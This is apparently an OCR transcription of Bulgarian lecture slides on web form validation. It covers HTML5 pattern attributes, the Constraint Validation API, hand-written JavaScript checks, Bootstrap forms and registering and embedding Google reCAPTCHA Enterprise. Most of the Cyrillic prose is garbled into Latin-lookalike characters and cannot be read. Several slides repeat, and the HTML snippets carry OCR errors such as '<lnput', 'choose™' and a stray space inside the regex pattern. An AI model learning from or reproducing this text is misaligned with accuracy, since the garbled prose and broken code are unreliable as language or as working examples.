ac, abc, abbbbbc 1 Taka HaTaTbK).

alb — CvBnapga c egnH 3Hak, KonTo e a uau b.

abc|xyz — CvBnaga To4Ho ¢ abe unm TouHo ¢ Xyz (Ho He ¢ abexyz unna unny N T.H.).




©
[TpuMepm 3a BrpazieHa BanuaaLus

0T CTPAHA HA KJIMEHTA

<form>
<label for="choose">Would vyou prefer a banana or a
cherry?</label>
<lnput id="choose™" name="1 like" required
pattern="[Bb]anana| [Cc]lherry">

<button>Submit</button>
</form>




©
[TpuMepm 3a BrpazieHa BanuaaLus

0T CTPAHA HA KJIMEHTA

<form>
<label for="choose">Would vyou prefer a banana or a
cherry?</label>
<lnput id="choose™" name="1 like" required
pattern="[Bb]anana| [Cc]lherry">

<button>Submit</button>
</form>




[IpoBepka Ha popmynsapu
¢ nomolTa Ha JavaScript

AKO ncKaTe [la umaTe No-ronsaM KOHTPOS BbPXY U3rfefa Ha rpelkuTe 1

CbOOLLEHUATA, KOUTO ChMbTCTBAT QOPMYNAPUTE, TO PELLEHKETO e ynoTpebaTa Ha JavaScript.
Constraint Validation API

[loBeyeTo H6pay3bpy noaabpxaT API-TO 3a BanuamMpaHe Ha OrpaHUYeHUs, KOWTO Ce ChCTOM
OT Habop C METOAM ¥ CBOWCTBA, HaNnYHK B cnegHute DOM nHTEpdEeicH Ha enemMeHTuTe oT
efuH hopmynsap:

HTMLButtonElement (npeacTtaBnsBa enemeHT <button>)
HTMLFieldSetElement (npeactasnsaBa enemeHT <fieldset>)
HTMLInputElement (npeacTaBnsiBa enemeHT <input>)
HTMLOutputElement (npeactaBnsBa enemeHT <output>)
HTMLSelectElement (npescTaBnsBa enemeHT <select>)
HTMLTextAreaElement (npeactaBnsBa enemeHT <textarea>)




[IpoBepka Ha popmynsapu

¢ nomolTa Ha JavaScript

API-To npepocrtaeq cnegHurte CBOMCTBA AOCTBINHM 32 FTOPHUTE eNIeMEHTU:

validationMessage: Bpblia N0Kan“3nMpaHo CbOOLLEHWE, ONUCBALLO OrpaHMyYeHnsaTa 3a
BanMaMpaHe, KOWTO KOHTpoNaTa He YyAOBNETBOPSABA, (ako WMa TakuBa). AKO KOHTponaTa He e
KaHAW4aT 3a BanuaupaHe Ha orpaHuyeHue (willValidate e false) WM CTOMHOCTTA Ha
efleMeHTa y0BNEeTBOPSABA HEroBIUTE orpaHnderns (is valid), ToBa e BbpHe NpaseH Hus.
validity: Bpbula 06eKkT ValidityState, KOATO CbAbPXA HAKOAKO CBOCTBA, ONMCBALLY
CBCTOSIHWETO Ha BaNMAHOCT Ha efleMeHTa:



https://developer.mozilla.org/en-US/docs/Web/API/ValidityState

[IpoBepka Ha popmynsapu

¢ nomolTa Ha JavaScript

HO'AOJ'IV cneasat U HaIMYHUTE METOAMN, KOUTO MOXKe Aa U3NOoN3BaMe 3a KOHTpoluUTe B

eAnH popmynsp U 3a cCamMa Hero:
checkValidity () : Bpbuia true, ako CTOAHOCTTAa Ha eNeMeHTa HaMa NpobnemMu ¢ BanMAHOCTTa;
false > B NPOTNBEH cnyanl. AKO eNneMeHTbT e HeBanuaeH, To31M MeToj Cblo 3afeicTBa HeBaNUAHO
CbOUTUE 33 ENEMEHTA.

reportValidity () : OTunta HeBanugHW nNOMETa, W3NON3Bal CbouTMS. [loneseH e B
koMbuHaumaTa ¢ preventDefault() B MmaHunynaTop Ha cbouTtie npu onSubmit.

setCustomValidity (message): /[l0o6aBsi NepcoHanM3MpaHo CbOOLIEHWE 3@ Fpellka KbM
€NeEMEHTa, aKO 3afafieTe TakOBd, TO eNieMeHTbT Ce CYWTa 3a HEBA/IMAEH W MOCOYEeHaTa rpelka ce
NnokasBa. ToBa HWM MO3BOMSABA [a M3Moi3Bame JavaSoript KOA, 3a [fa YCTaHOBUM I'IpO6J'I€M npw
BaNVAMpaHe, pasfinyeH OT Tedn, npefnaraHu OT CTaHAapTHUTE OrpaHuYeHus 3a npoeepka Ha HTMLS.
CbO6LLI,€HI/I€TO Ce NoKa3Ba Ha I'IOTpE6l/ITe}'IFI, NP Bb3HNKBAHE Ha |'|po6ﬂe|v1.




Pa3paborBaHe Ha

NOTPEOUTENCKM CHOOLLEHUS

[lon ynotpebata Ha BrpageHata HTMLS Banvpaumsi, m3kavaiumte CbOOLUEHUS YECTO Cce
10Ka3BaT Ha e3uK, PasamyeH OT T03u Ha (popmaTta. OCBeH TOBA HIMaMe KOHCUCTEHTHA BU3MS
(no nogpasbupaHe) 3a pa3nmyHute bpayabpu u Tpsbea ja cu ‘mourpaem” focta, 3a ja f
yenHakBum. ToBa € [rbpBata [pu4yuHa 3a decTata yrnotpeba Ha constraint
validation API.

What's your favorite fruit?*

v

Veuillez compléter ce champ.




Pa3paboTBane Ha
NOTPEOUTENCKM CHOOLLEHUS



[IpoBepka Ha popmynsapu

bes ynotpeba Ha BrpazeHoTo AP ®

B HAKOW Cnyyan, KaTto NoAAPbXKKA Ha NO-CTapy 6pay3bpyu UK NEPCOHANN3NUPaH KOHTPOMX,
HAMa [a MOXeTe WM HAMA [a uckaTe Aa M3non3eate CTaHAapTHOTO APl ToBa He e
npoobnem, Thil KaTo OTHOBO € BBb3MOXHO Aa M3non3Bame JavaScript, 3a ga noTBbpauTe
(GopMYyNApa, HO TPsibBaA [1a HanwuLLeM BCUYKO CaMMu.

Mpu ToBa NonoXXeHue, NpeAun CaMoTo KOAUpPaHe,
Tpsa6Ba fa cy OTrOBOPUM Ha CNeAHuTe BbNPOCK:




[IpoBepka Ha popmynsapu
bes ynotpeba Ha BrpazeHoTo AP

1) Kakbe BuZ npoBepku Tpsa6Ba Ja ocbu,ecTBUM?: ornepaumy C HU30BE, MpPeobpasyBaHe Ha
TUIMOBE, PErYIAPHU U3Pa3n U T.H.

2) Kakeo TpsibBa Ja HanpaBsi, ako (hopMynapbT He ce W3npaT cnej Banupauyusa (Toect
npoBepKaTa He e MHHana ycnewHo)?: ToBa 0YeBUAHO € BBIPOC Ha MOTPEGUTENCKMN MHTEP(EIC.

Ipa6Ba f1a peLunm Kak Lije ce Abpxu popmata. QopmMynspbT uanpalla v JaHHUTe Bee nak? Tpsbsa

S [ja ce noAvepTasT nojieTata, KOUTO ca C rpeluka? TpsabBa v [a nokaxeM CbOOLeHNS 38 TPELLIKN?
Kak MoXxem fja MOMOrHeM Ha NoTpebuTens fa Kopurupa HeBaingHu JaHHn?

3) Kak MoxeM ga noMorHeM Ha noTpe6uTens fa Kopurupa HeBaMBHUTE JaHHN?: 3a 1a HAMAIUM
pa30yapoBaHNETO Ha MOTPEOUTENIS, € MHOM0 BaXHO fa My MpejocTaBuM Bb3MOXHO Haki-MHOIo
ro/1e3Ha MH(HOPMaL S, KOSITO ja 0 Haco4Ba Kak Jja Kopur1npa CBouTe BbBeeHU JaHHW. Tps6Ba ja
NpeasIoXuM npesBapuTesIHN anTepHaTuBy, 3a Jja 3Hae KakBO Ce 04YakBa 3@ CbOTBETHOTO 0JIE,

KaKTo 1 ACHU CbO6LL[eHM,q 3d rpeLKn.




. [poBepka Ha popmynsapu

bes ynotpeba Ha BrpazeHoTo AP ®



. [IpoBepka Ha Gpopmynspy,

n3rpajenu ¢ pamkara Bootstrap 5 o


https://getbootstrap.com/docs/5.1/forms/overview/

Server-side
validation



/@\@ BrpaxaaHe Ha

Google reCAPTCHA

https://developers.google.com/recaptcha/intro

™ (e CAPTCHA



https://developers.google.com/recaptcha/intro

BrpaxaaHe Ha
Google reCAPTCHA

Google npegnara reCAPTCHA (v3 n v2) n reCAPTCHA Enterprise, 3a ga 3aWuTum caiiToBete cH
OT cnaMm u pa3inyHK 3noynoTpebu. Google 3awwmTaBa MunnoHn cantose ¢ reCAPTCHA noseye ot
necetnnetve. reCAPTCHA Enterprise e uarpageH Bbpxy cbuiectsyBawma APl Ha reCAPTCHA u
M3M0M3Ba YCbBBPLUIEHCTBAHM TEXHUKM 3@ aHa/N3 Ha pucka, KaTo NnpaBui pas/nka Mexay xopa u
6oTtoBe. C reCAPTCHA Enterprise Mo)eTe fla 3alluTuTe CaiiTa C OT CnaM UK 310ynoTpeda 1 aa
OTKpWeTe OpYru BUAOBE M3MaMHW [JEAHOCTV B CalMTOBETe, KaTo U3MaMu C MAEHTUOUKALMOHHM
[laHHW, NOrNbllaHe/npucBosBaHe Ha akayHT (ATO=account takeover) 1 aBTOMaTUYHO Cb3aaBaHe
Ha akayHT. reCAPTCHA Enterprise npeanara nogobpeHo OTKpWBaHE C MO-AeTainHW pesyntaty,
KOAOBE Ha MNPUYMHKM 3a puUcKoBK cbouTtid, SDK 33 MOOUIHM NPUNOXKEHWS, OTKPMBAHE Ha
HapyllaBaHe Ha napona/Ted, MHorohakTopHo ymoctoBepsiBaHe (MFA) M BB3MOXHOCT 3a
HACTPOVBaHe Ha CreunpuYH1s 3a Ballns CalT MOJeN 3a 3alluTa Ha KOpnopaTuBHUS BUSHEC.




BrpaxaaHe Ha

Google reCAPTCHA

3a fa 3anoyHeTe fa muanonssate reCAPTCHA, TpsibBa 4a Cu HanpaBuTe perucTpauus ¢ uen ga
nonyymTe aBoirka APl knto4oBe 3a canT/annvkaund. [1BovikaTa K/ko4oBe Ce CbCTOM OT KJIHY 33
canTa 1 TaeH knwd. KnoybT Ha calTa ce U3noni3sa 3a u3BukBaHe Ha ycnyrata reCAPTCHA ot
HaLIWS CalT UK MOBUNIHO NpunoxeHue. CEKPETHUAT KHOY YITbHOMOLLABa KOMYHUKALNSA MeXay
OeKeH/a Ha NPUNOXEHNETO K CbpBbpa Ha reCAPTCHA, 3a fa npoBepy 0TroBopa Ha NOTPebuTens.
CeKpeTHUAT KNoY TPS6Ba Aa Ce nasu B 6e30MaCHOCT 3a LUENNTe Ha CUrYPHOCTTa.

[bpBO TpAbBa Aa n3bdepete Thna reCAPTCHA 1 cnea ToBa 4a NOMbJIHETE OTOPU3UPAHN JOMENHN
W UMeHa Ha naketu. Cnea kato CTe MpUenu YycnoBusaTa 3a MOMI3BaHE, LipakaTe Bbpxy
PerncTpupare, 3a fa nonyynte Hosa fBoiika APl kKnto4oBe.




. Kak pabotv reCAPTCHA Enterprise

Korato reCAPTCHA Enterprise ce BHegpu B HalaTa cpeja, Toi B3aUMOZEHCTBA C K/IMEHTCKUS
6eKeHa/cbpBDBP M yeb cTpaHUuMTe Ha KnneHTa. Taka, Korato KpaeH moTpeburen nocetu ye6
CTPpaHuUaTa, ce 3ageicTBaT CbOUTHUATA B C/IeHaTa MOC/ES0BaTeNIHOCT:

e bpay3bpbT 3apexaa yeb cTpaHuLaTa Ha KNIMeHTa, CbXxPaHeHa Ha 6ekeHaa/yeb CbpBbpa, I
cnep Toa n3sukBa reCAPTCHA JavaScript ot reCAPTCHA Enterprise.

e Korato KpanHusaT notpebuten 3ageitctea HTML fgeinctBue, 3awmteHo ot reCAPTCHA, kaTo
HanpyUMep NorBaHe, TO yeb CTpaHuLaTa U3npalla CUrHamu, KouTo ce cbbupaT B 6pay3bpa 3a
nocnensadl atanns o1 reCAPTCHA Enterprise.

e reCAPTCHA Enterprise nanpatya kpuntupaH reCAPTCHA TokeH [0 yeb cTpaHuuaTta 3a no-
KbCHa yrnoTpeoa.

e Yeb cTpaHuuaTa manpatia KpuntupaHus mapkep reCAPTCHA o 6ekeHaa/yeb cbpBbpa 3a
OLleHKa.




©
Kak pabotu reCAPTCHA Enterprise

e bekeHa/ye6 CbpBLPLT M3Mpalla 3asBkaTa 3a Cb3faBaHe Ha OLeHKa
(assessments.create) n kpunTtupaHusa mapkep reCAPTCHA pgo reCAPTCHA
Enterprise.

e C(Cnep oueHka, reCAPTCHA Enterprise Bpbuia pesyntat (o1 0.0 go 1.0) n kog Ha
npuynHaTa (Bb3 0CHOBA Ha B3aUMOAENCTBMATA) Ha BekeHa/yed CbpBbPa.

e B 3a3BMCMMOCT OT pe3ynTaTa HMe KaTo MPOrpamucTii MOXETE Aa ONpeaenum
CnefBaLLuMTe CTbKK, KOUTO a NpeanpueMem cnpsmMo NoTpeouTens.
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BrpaxaaHe Ha

Google reCAPTCHA

Cnep ToBa ce U3NbAHABAT CNeAHUTE CTbNKM, 3a Aia AobaBuTe reCAPTCHA:
1) W36epeTe MHTErpauns oT CTpaHa Ha KWeHTa:
> reCAPTCHA v3

> reCAPTCHA v2
e  (Checkbox
e Invisible
e Android

2) TpoBepeTe 0TroBOPa Ha NoTpebuTens.




CpaBHEHWE Ha TMNOBETE
Google reCAPTCHA

Feature reCAPTCHA v3 reCAPTCHA v2
Cost Free up to*1 million assessments Free up to 1 million assessments
For more information, see Pricinag. per month per month’
"I'm not a robot" widget support No Yes
Score granularity (security-review 4 levels None

required)



https://cloud.google.com/recaptcha-enterprise/pricing

BrpaxaaHe Ha

Google reCAPTCHA

Cnep ToBa ce U3NbAHABAT C/ieAHUTE CTDBINKH, 3a Aa fobaBute reCAPTCHA:
1)  OTBOpETE CTpaHMLaTa:
2) Cnep kaTo 6bJeTe npeHacoyeHn, HaTucHeTe 6yToHa: Enable
6

reCAPTCHA Enterprise API

Google Enterprise API

ENABLE TRY THIS API (2



https://cloud.google.com/recaptcha-enterprise

BrpaxaaHe Ha

Google reCAPTCHA

Cnep ToBa ce U3NbAHABAT C/eAHUTE CTDBINKH, 3a Aa fobaBute reCAPTCHA:
3) Cnep kaTo 6bAeTe NpeHacoyeHn, HaTucHeTe 6yToHa: Create a key

Enterprise keys + CREATE KEY

= Filter Filter keys

Name Creation date KeylD @ Platform details @ Metrics Risk scores @

There are no keys for this project. Please create one.




@® Brpaxaane Ha Google reCAPTCHA
& Create key @

A reCAPTCHA key lets you score user interactions for risk and potential fraud. You can oo
create a key for each site or app.

After creating the key, use the ID specified here in your API call. For more information
about setting up and using a reCAPTCHA Enterprise site key, see the documentation .

Display name *

A descriptive name to help identify the key within the list of keys. 0/50

Choose platform type
Website v

Other platform types are accessible after a security review. Please contact sales [ to
initiate.

Domain list

ADD A DOMAIN

At least one domain must be added to the website platform key

v DOMAIN VERIFICATION, AMP PAGES AND CHALLENGE

CREATE KEY CANCEL




/@\@ Brpaxaaue Ha Google reCAPTCHA

https://cloud.google.com/recaptcha-enterprise/docs/set-up-non-google-cloud-environments-api-keys




BrpaxaaHe Ha

Google reCAPTCHA

<html>
<head>
<title>reCAPTCHA demo: Simple page</title>
<script src="https://www.google.com/recaptcha/enterprise.js"
async defer></script>
</head>
<body>
<form action="?" method="POST">
<div class="g-recaptcha" data-sitekey="site key"></div>
<br/>
<input type="submit" value="Submit">
</form>
</body>
</html>




Jluteparypa

https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation
https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/We
bsite_security
https://geekflare.com/online-scan-website-security-vulnerabilities/
https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation
https://www.w3schools.com/js/js_validation.asp
https://www.w3schools.com/html/html_form_attributes.asp
https://developers.google.com/recaptcha/intro
https://owasp.org/www-project-top-ten/
https://www.smashingmagazine.com/2018/08/ux-html5-mobile-form-part-1
https://www.smashingmagazine.com/2018/08/ux-html5-mobile-form-part-2
https://www.smashingmagazine.com/2011/11/extensive-guide-web-form-u
sability/
https://www.uxmatters.com/mt/archives/2006/07/label-placement-in-form
s.php




Jluteparypa

https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/pattern
https://developer.mozilla.org/en-US/docs/Learn/Forms/Ul_pseudo-classes
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Reqular_E
xpressions/Cheatsheet
https://www.smashingmagazine.com/2012/06/form-field-validation-errors-
only-approach/
https://www.smashingmagazine.com/2009/07/web-form-validation-best-pr
actices-and-tutorials/
https://www.webfx.com/blog/web-design/10-tips-for-optimizing-web-form-
submission-usability/
https://alistapart.com/article/inline-validation-in-web-forms/
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